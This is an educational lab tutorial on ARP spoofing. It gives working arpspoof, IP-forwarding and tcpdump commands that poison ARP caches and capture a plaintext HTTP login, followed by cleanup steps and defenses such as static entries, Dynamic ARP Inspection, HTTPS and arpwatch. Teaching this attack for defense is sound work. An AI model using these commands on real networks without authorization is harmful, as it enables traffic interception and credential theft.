A host that receives an ARP reply has no way to check whether the reply is real. Broadcast “what is the MAC of gateway 192.168.1.1?” and whoever answers, that answer gets written straight into the cache. No authentication, no integrity check. ARP even accepts a reply nobody asked for (a Gratuitous ARP) and overwrites the existing cache entry with it.
An attacker puts a fake reply into that gap. Tell the victim “the gateway’s MAC is mine” and the gateway “the victim’s MAC is mine” at the same time, and all traffic between the two routes through the attacker. It is a textbook man-in-the-middle (MITM) attack, reproduced below in an isolated lab.
Educational purpose / ethical use
Run every exercise only on an isolated network you own or have explicit permission to test. Attacking someone else’s network without authorization is a crime. For how the ARP protocol itself works, see How the ARP Protocol Works.
What Makes the Attack Possible
ARP is broadcast-based, so the attacker and victim must sit on the same L2 segment (same switch, same VLAN). A different subnet across a router is out of ARP’s reach, so the attack does not work there. The lab runs on a virtual network cut off from the internet, or a physically isolated one.
The setup:
- Attacker: Ubuntu 24.04,
192.168.1.10, MAC00:0c:29:12:34:56 - Victim:
192.168.1.11 - Gateway:
192.168.1.1, MACaa:bb:cc:dd:ee:ff - Network:
192.168.1.0/24, all in the same broadcast domain
In VirtualBox, create one NAT network with CIDR 192.168.1.0/24, turn off DHCP, and give each VM a static IP. That isolates the lab from the host and the real network.
The attack tool is arpspoof (in dsniff); analysis uses tcpdump.
sudo apt update
sudo apt install -y dsniff tcpdump
Stage 1 — Check the Normal State First
See what MAC the gateway shows in the victim’s ARP table while everything is normal.
# Victim (192.168.1.11)
$ ip neigh show
192.168.1.1 dev eth0 lladdr aa:bb:cc:dd:ee:ff REACHABLE
192.168.1.10 dev eth0 lladdr 00:0c:29:12:34:56 REACHABLE
The gateway (192.168.1.1) maps to its real MAC aa:bb:cc:dd:ee:ff. A successful attack changes this value. On the attacker side, note the interface name and your own MAC.
# Attacker (192.168.1.10)
$ ip addr show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
link/ether 00:0c:29:12:34:56 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.10/24 brd 192.168.1.255 scope global eth0
Stage 2 — Turn On IP Forwarding
Once the attack lands, all of the victim’s traffic arrives at the attacker. If the attacker does not pass those packets back toward the gateway, the victim’s internet dies. That is an accidental DoS, and it signals to the victim that something is wrong. To intercept without being noticed, turn on IP forwarding so the attacker machine relays packets like a router.
sudo sysctl -w net.ipv4.ip_forward=1
The attacker now forwards packets whose destination MAC isn’t its own to the next hop by consulting the routing table, so the connection looks fine to the victim.
Stage 3 — Run Bidirectional ARP Spoofing
Poison both the victim’s and the gateway’s caches at once. Both sides have to be fooled to see traffic in both directions.
# Terminal 1: tell the victim "the gateway's MAC is mine"
sudo arpspoof -i eth0 -t 192.168.1.11 -r 192.168.1.1
# Terminal 2: tell the gateway "the victim's MAC is mine"
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.11

arpspoof resends the fake ARP reply once per second. ARP caches expire anywhere from tens of seconds to a few minutes depending on the OS, so the overwrite has to keep happening before expiry to hold the attack.
Stage 4 — Confirm the Cache Is Poisoned
Query the ARP table on the victim again.
# Victim
$ ip neigh show
192.168.1.1 dev eth0 lladdr 00:0c:29:12:34:56 REACHABLE
192.168.1.10 dev eth0 lladdr 00:0c:29:12:34:56 REACHABLE
The gateway’s (192.168.1.1) MAC is now the attacker’s, 00:0c:29:12:34:56, against the aa:bb:cc:dd:ee:ff from Stage 1. Every packet the victim sends to the gateway now goes to the attacker. The gateway IP and the attacker IP share the same MAC, which is only possible because ARP never verifies the IP↔MAC mapping.
Stage 5 — Capture Traffic and Steal a Plaintext Credential
On the attacker, look at the traffic passing through with tcpdump.
# Print the victim's HTTP traffic as ASCII
sudo tcpdump -i eth0 -n -A 'tcp port 80 and host 192.168.1.11'
The flags are -i eth0 (capture interface), -n (no reverse DNS), and -A (payload as ASCII). When the victim logs into an HTTP (not HTTPS) site, the POST body appears in plaintext.
$ sudo tcpdump -i eth0 -n -A 'tcp port 80 and host 192.168.1.11' | grep -i -A5 POST
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=victim&password=secret123
username=victim&password=secret123 shows up in plaintext. Being on the same link is enough to scoop up credentials like this. If the traffic is TLS-encrypted, the attacker can intercept it but cannot read it, which is why every site needs HTTPS. From the same position the attack extends to forging DNS replies to push the victim to a phishing site, or stealing a plaintext session cookie, but every one of those starts from the same fact: the traffic passes through the attacker.
Stage 6 — Clean Up and Restore
When you’re done, stop the attack and restore the original state.
# Attacker
sudo killall arpspoof
sudo sysctl -w net.ipv4.ip_forward=0
# Victim: flush the poisoned cache (relearned correctly on next exchange)
sudo ip neigh flush all
Flushing the cache makes the victim relearn the correct MAC through a normal ARP exchange on the next communication. Left alone, it also recovers once the TTL expires.
Defense
The root cause of ARP spoofing is that ARP has no authentication. Since verification cannot easily be added to ARP itself, defense adds it from the outside.
Pin the mappings that must never change. Set a static ARP entry for unchanging critical gear like the gateway, and a fake reply cannot overwrite the cache.
# Pin the gateway IP-MAC permanently
sudo ip neigh add 192.168.1.1 lladdr aa:bb:cc:dd:ee:ff dev eth0 nud permanent
The downside is that every host has to be touched whenever the network changes, which is impractical at scale, so this is reserved for a few core devices like the gateway. The same idea network-wide is the Dynamic ARP Inspection family of switch features, which checks ARP replies against the switch’s DHCP bindings and drops the forged ones.
Making the traffic unreadable even when intercepted is the more practical line. As Stage 5 showed, the attack pays off only on plaintext traffic. Force HTTPS everywhere and migrate legacy cleartext protocols (FTP, Telnet, etc.) to encrypted alternatives (SFTP, SSH), and an attacker in the middle position still cannot read packet contents. In an IPv4 environment where ARP spoofing is hard to block outright, encrypting the contents is the highest-value defense per unit of effort.
Detection can be added too. arpwatch watches IP-MAC mapping changes and alerts on a flip flop (one IP bouncing rapidly between two MACs), the classic signature of ARP spoofing.
sudo apt install -y arpwatch
sudo arpwatch -i eth0
# Log example: changed ethernet address 192.168.1.1 aa:bb:cc:dd:ee:ff to 00:0c:29:12:34:56